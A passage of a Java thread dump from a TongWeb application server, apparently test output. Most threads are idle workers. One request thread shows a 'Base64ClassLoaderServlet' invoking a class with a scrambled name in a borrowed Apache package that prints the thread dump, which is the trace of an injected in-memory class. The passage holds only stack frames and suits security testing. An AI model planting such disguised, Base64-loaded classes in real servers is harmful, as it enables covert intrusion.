sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$20/834977106.run(Unknown Source) + at java.security.AccessController.doPrivileged(Native Method) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-5100-exec-8" #115 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5ec9ab3f + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-8080-exec-9" #41 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@68ef1acf + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"Thread-7" #43 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPoll.epollWait(Native Method) + at sun.nio.ch.EPollPort$EventHandlerTask.poll(EPollPort.java:194) + at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:268) + at java.lang.Thread.run(Thread.java:750) + +"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@17524046 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.lang.ref.Reference.tryHandlePending(Reference.java:191) + at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153) + +"JCA-default-thread-pool-worker-10" #93 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6f16e9a7 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"RMI Scheduler(0)" #99 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7fb0901 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-8080-exec-8" #40 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@68ef1acf + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"RMI TCP Connection(3)-127.0.0.1" #102 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.socketRead(SocketInputStream.java:116) + at java.net.SocketInputStream.read(SocketInputStream.java:171) + at java.net.SocketInputStream.read(SocketInputStream.java:141) + at java.io.BufferedInputStream.fill(BufferedInputStream.java:246) + at java.io.BufferedInputStream.read(BufferedInputStream.java:265) + at java.io.FilterInputStream.read(FilterInputStream.java:83) + at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$20/834977106.run(Unknown Source) + at java.security.AccessController.doPrivileged(Native Method) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Thread-6" #32 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPoll.epollWait(Native Method) + at sun.nio.ch.EPollPort$EventHandlerTask.poll(EPollPort.java:194) + at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:268) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-8080-exec-3" #35 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@68ef1acf + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"NioBlockingSelector.BlockPoller-1" #44 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.tongweb.web.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:339) + +"Auto-deploy-timer" #179 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at com.tongweb.deploy.DeployTimeoutControlService.listenTimeout(DeployTimeoutControlService.java:51) + at com.tongweb.deploy.TongWebDeployer.deploy(TongWebDeployer.java:334) + at com.tongweb.deploy.commands.DeployCommand.deploy(DeployCommand.java:278) + at com.tongweb.deploy.autodeploy.TongWebAutoDeployer.deployAll(TongWebAutoDeployer.java:69) + at com.tongweb.deploy.autodeploy.TongWebAutoDeployTask.run(TongWebAutoDeployTask.java:261) + at java.util.TimerThread.mainLoop(Timer.java:555) + at java.util.TimerThread.run(Timer.java:505) + +"http-nio-5100-ClientPoller-0" #118 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.tongweb.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:815) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-8080-exec-7" #39 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.lang.Thread.dumpThreads(Native Method) + at java.lang.Thread.getAllStackTraces(Thread.java:1615) + at org.apache.http.client.twewq.ErrorXxfpxHandler.toString(BasicInfoPrinter.java:26) + at java.lang.String.valueOf(String.java:2994) + at com.tongweb.catalina.connector.CoyoteWriter.print(CoyoteWriter.java:244) + at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26) + at com.tongweb.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:230) + at com.tongweb.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:165) + at ServletNameTestFilter.doFilter(ServletNameTestFilter.java:16) + at com.tongweb.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:192) + at com.tongweb.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:165) + at com.tongweb.web.websocket.server.WsFilter.doFilter(WsFilter.java:53) + at com.tongweb.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:192) + at com.tongweb.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:165) + at EmptyFilter.doFilter(EmptyFilter.java:12) + at com.tongweb.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:192) + at com.tongweb.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:165) + at UrlMappingTestFilter.doFilter(UrlMappingTestFilter.java:21) + at com.tongweb.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:192) + at com.tongweb.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:165) + at com.tongweb.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:198) + at com.tongweb.catalina.core.StandardContextValve.invoke0(StandardContextValve.java:123) + at com.tongweb.catalina.core.ThanosStandardContextValve.invoke0(ThanosStandardContextValve.java:14) + at com.tongweb.catalina.core.StandardContextValve.invoke(StandardContextValve.java:114) + at com.tongweb.catalina.core.ThanosStandardContextValve.invoke(ThanosStandardContextValve.java:49) + at com.tongweb.tomee.catalina.OpenEJBValve.invoke(OpenEJBValve.java:44) + at com.tongweb.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:445) + at com.tongweb.catalina.core.StandardHostValve.invoke(StandardHostValve.java:368) + at com.tongweb.tomee.catalina.OpenEJBSecurityListener$RequestCapturer.invoke(OpenEJBSecurityListener.java:97) + at com.tongweb.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:80) + at com.tongweb.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:87) + at com.tongweb.catalina.core.ThanosStandardEngineValve.invoke(ThanosStandardEngineValve.java:43) + at com.tongweb.catalina.realm.RealmValve.invoke(RealmValve.java:21) + at com.tongweb.catalina.connector.ThanosCoyoteAdaptor.service(ThanosCoyoteAdaptor.java:480) + at com.tongweb.coyote.http11.Http11Processor.service(Http11Processor.java:894) + at com.tongweb.coyote.http11.ThanosHttp11Processor.service(ThanosHttp11Processor.java:19) + at com.tongweb.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:73) + at com.tongweb.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:935) + at com.tongweb.web.util.net.Nio2Endpoint$SocketProcessor.doRun(Nio2Endpoint.java:1673) + at com.tongweb.web.util.net.SocketProcessorBase.run(SocketProcessorBase.java:52) + at com.tongweb.web.util.net.AbstractEndpoint.processSocket(AbstractEndpoint.java:872) + at com.tongweb.web.util.net.Nio2Endpoint$Nio2SocketWrapper$4.completed(Nio2Endpoint.java:672) + at com.tongweb.web.util.net.Nio2Endpoint$Nio2SocketWrapper$4.completed(Nio2Endpoint.java:650) + at sun.nio.ch.Invoker.invokeUnchecked(Invoker.java:126) + at sun.nio.ch.Invoker$2.run(Invoker.java:218) + at sun.nio.ch.AsynchronousChannelGroupImpl$1.run(AsynchronousChannelGroupImpl.java:112) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1172) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-8080-exec-2" #34 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@68ef1acf + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-5100-exec-7" #114 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5ec9ab3f + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-5100-exec-4" #111 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5ec9ab3f + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"RMI TCP Connection(1)-172.17.0.4" #98 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.socketRead(SocketInputStream.java:116) + at java.net.SocketInputStream.read(SocketInputStream.java:171) + at java.net.SocketInputStream.read(SocketInputStream.java:141) + at java.io.BufferedInputStream.fill(BufferedInputStream.java:246) + at java.io.BufferedInputStream.read(BufferedInputStream.java:265) + at java.io.FilterInputStream.read(FilterInputStream.java:83) + at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$20/834977106.run(Unknown Source) + at java.security.AccessController.doPrivileged(Native Method) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Stateful cache" #95 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4b3c69b9 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-0.0.0.0-9060-exec-3" #24 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5c520b2c + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"TongTech-License-Executor" #17 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@a322c87 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"console-warning-plugin-1-thread-1" #147 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@f670df7 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"http-nio-5100-exec-1" #108 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5ec9ab3f + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"compress-log-timer" #14 daemon [WAITING] on java.util.TaskQueue@500bbe1b + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.util.TimerThread.mainLoop(Timer.java:526) + at java.util.TimerThread.run(Timer.java:505) + +"http-nio2-8080-exec-5" #37 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@68ef1acf + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"TongTech-License-Executor" #18 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@a322c87 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"RMI Reaper" #97 [WAITING] on java.lang.ref.ReferenceQueue$Lock@78527402 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) + at sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:351) + at java.lang.Thread.run(Thread.java:750) + +"Thread-49" #181 daemon [WAITING] on java.lang.Thread@59913a7b + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Thread.join(Thread.java:1257) + at java.lang.Thread.join(Thread.java:1331) + at com.tongweb.deploy.DeployTimeoutControlService$1.run(DeployTimeoutControlService.java:36) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-8080-AsyncTimeout" #107 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at com.tongweb.coyote.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1292) + at java.lang.Thread.run(Thread.java:750) + +"GC Daemon" #21 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@639f299b + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at sun.misc.GC$Daemon.run(GC.java:117) + +"http-nio2-0.0.0.0-9060-exec-10" #31 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5c520b2c + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"JCA-default-thread-pool-worker-1" #84 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6f16e9a7 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + 